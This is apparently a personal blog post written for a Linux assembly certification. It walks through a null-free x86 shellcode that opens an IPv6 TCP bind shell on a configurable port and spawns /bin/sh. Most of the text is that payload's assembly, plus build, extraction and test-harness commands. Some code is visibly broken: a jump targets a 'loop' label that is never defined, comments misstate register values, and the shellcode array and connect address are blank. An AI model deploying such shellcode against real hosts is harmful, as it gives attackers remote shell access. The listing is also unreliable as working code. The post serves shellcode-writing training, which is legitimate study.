Kartik Durg

Kartik Durg

Live your passion!

© 2024

Dark Mode


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification

  • Student ID: SLAE-1233
  • Assignment: 1
  • Github: Kartik Durg

The objective of this assignment is to create a Shell_bind_TCP in Linux/x86 Assembly for which, port number should be easily configurable.

To solve this challenge I found following resources very help full:

  1. Syscalls
  2. UAPI/in.h
  3. Socket_Services
  4. The IPv6 sock addr structure
  5. inet6_proto

Before going further, I would like to point out few basic rules a shellcode should obey:

  • Null free!!
  • A shellcode should be as small as possible because, you may never know the size of memory inside which the shellcode will be inject.
  • Register aware – clean up the registers before using them, so that you can reuse those registers and save few bytes to achieve small size shellcode.
  • Also, no long jumps.

Here is how a Shell_bind_TCP for IPV6 looks like in C: ___ Shell_bind_TCP_IPV6

A quick breakdown of above shell developed in C:

  • Create socket
  • Bind socket to a local port
  • Listen for incoming connections
  • Accept incoming connection
  • Redirect STDIN,STDOUT and STDERR to newly created socket from client.
  • Spawn the shell.

Now lets create all the above socket programming module’s in assembly by making use of syscalls. To achieve this, we need to make use of three registers:

  • 0x66 is the number of socketcall() as defined in the linux headers.This number should be stored in EAX register.
  • /usr/include/linux/net.h contains the call id of socket functions. Store the call id of a socket that you want to use inside the EBX register. ( I will be using SYS_BIND, SYS_LISTEN and SYS_ACCEPT )
  • ECX should contain pointer to the arguments.


Now that we are aware of basic rules, registers and socket calls to be used for writing our shellcode, lets jump into the assembly:

global _start
section .text

;IPV6 socket creation 
;int socketcall(int call, unsigned long *args);
;sockfd = socket(int socket_family, int socket_type, int protocol);
push byte 0x66              ;socketcall()
pop eax                     ;EAX=0x2

xor ebx,ebx                 ; zero out ebx

push 0x6                    ; IPPROTO_TCP=6
push 0x1                    ; socket_type=SOCK_STREAM (0x1)
push 0xa                    ; AF_INET6
inc ebx                     ; Define SYS_socket = 1
mov ecx,esp                 ; save pointer (ESP) to socket() args (ECX)
int 0x80
xchg esi,eax                ; socfd stored in esi
xor eax,eax

;int socketcall(int call, unsigned long *args);
;bind(host_sockfd, (struct sockaddr*) &host_addr, sizeof(host_addr)); 
push DWORD eax              ;x4 dword ipv6 loopback  | EAX contains 0
push DWORD eax
push DWORD eax
push DWORD eax
push eax                    ;sin6_addr = in6addr_any | in6addr_any=::
push WORD 0x5c11            ;sin6_port=4444 | 0x5c11 | Configurable |
push WORD 0x0a              ;AF_INET6
mov ecx,esp                 ;ECX holds pointer to struct sockaddr_in6
push byte 0x1c              ;sizeof(sockaddr_in6) | sockaddr_in6 = 28
push ecx                    ;pointer to host_sockfd
push esi                    ;host_sockfd
mov ecx,esp                 ;ECX points to args
inc ebx                     ;EBX = 0x2 | #define SYS_BIND 2
push byte 0x66              ;socketcall()
pop eax
int 80h

;int socketcall(int call, unsigned long *args);
;int listen(int host_sockfd, int backlog);
push ebx                    ;EBX=2 | backlog=2
push esi                    ;poiter to host_sockfd
mov ecx,esp                 ;ECX points to args
inc ebx
inc ebx                     ;EBX = 0x4| #define SYS_LISTEN 4
push byte 0x66              ;socketcall()
pop eax
int 80h

;int socketcall(int call, unsigned long *args);
;accept(int sockfd, NULL, NULL);
cdq                         ;EDX = 0x0 | Saves a byte
push edx                    ;Push NULL
push edx                    ;Push NULL
push esi                    ;Push host_sockfd
mov ecx,esp                 ;ECX points to args
inc ebx                     ;EBX = 0x5 | #define SYS_ACCEPT 5
push byte 0x66              ;socketcall()
pop eax
int 80h

xchg ebx,eax                ;save client_sockfd

push byte 0x2               ;push 0x2 on stack
pop ecx                     ;ECX = 2

;dup2() to redirect stdin(0), stdout(1) and stderr(2)
push byte 0x3f              ;dup2()
pop eax                     ;EAX = 0x3f
int 0x80                    ;exec sys_dup2
dec ecx                     ;decrement counter
jns loop                    ;if SF not set ==> keep jumping

xor ecx,ecx                 ;clear ECX
push ecx                    ;Push NULL
push byte 0x0b              ;execve() sys call number
pop eax                     ;EAX=0x2 | execve()
push 0x68732f2f             ;(1)/bin//sh
push 0x6e69622f             ;(2)/bin//sh
mov ebx,esp                 ;EBX pointing to "/bin//sh"
int 0x80                    ;Calling Interrupt for sys call

As you can see, we have EAX: 0x66 , EBX: 0x1, ECX:{10,1,0} that will issue a socketcall of type SYS_SOCKET. Similarly 0x2 for SYS_BIND, 0x4 for SYS_LISTEN and 0x5 for SYS_ACCEPT.

Moving further to next instruction, IPPROTO_TCP is defined by using push 0x6, SOCK_STREAM by using push 0x1 and AF_INET6 by using push 0xa. I have used IPPROTO_TCP because it supports both AF_INET and AF_INET6 sockets.


Before calling bind(), you can notice that sin6_addr is set to 0 by using push DWORD EAX and then setting up ::1(localhost), port 4444 as below:

  • PUSH 0x5c11 (Configurable)


==> nasm -f elf32 -o shell_bind_tcp_ipv6.o shell_bind_tcp_ipv6.asm
==> ld -o shell_bind_tcp_ipv6 shell_bind_tcp_ipv6.o
==> lsof | grep 2863 | grep -i listen
# Connect to
==> nc -nv 4444



objdump -d shell_bind_tcp_ipv6.o|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'



unsigned char shellcode[] = \

printf("Shellcode Length: %d\n", sizeof(shellcode) - 1);
int (*ret)() = (int(*)())shellcode;



Objectives achieved:

  • Shellcode is null free.
  • Only 100 bytes in size.
  • Port can be easily configured. ( To configure the port, check the “Configurable” comment in assembly code.)
  • Register independent

Exploit-DB: https://www.exploit-db.com/exploits/45080

Link to C-code: shell_bind_tcp_ipv6.c

Link to Shellcode.ASM: shell_bind_tcp_ipv6.asm

Link to Shellcode.c: shell_bind_tcp_ipv6_final.c

Thank you for reading 🙂

– Kartik Durg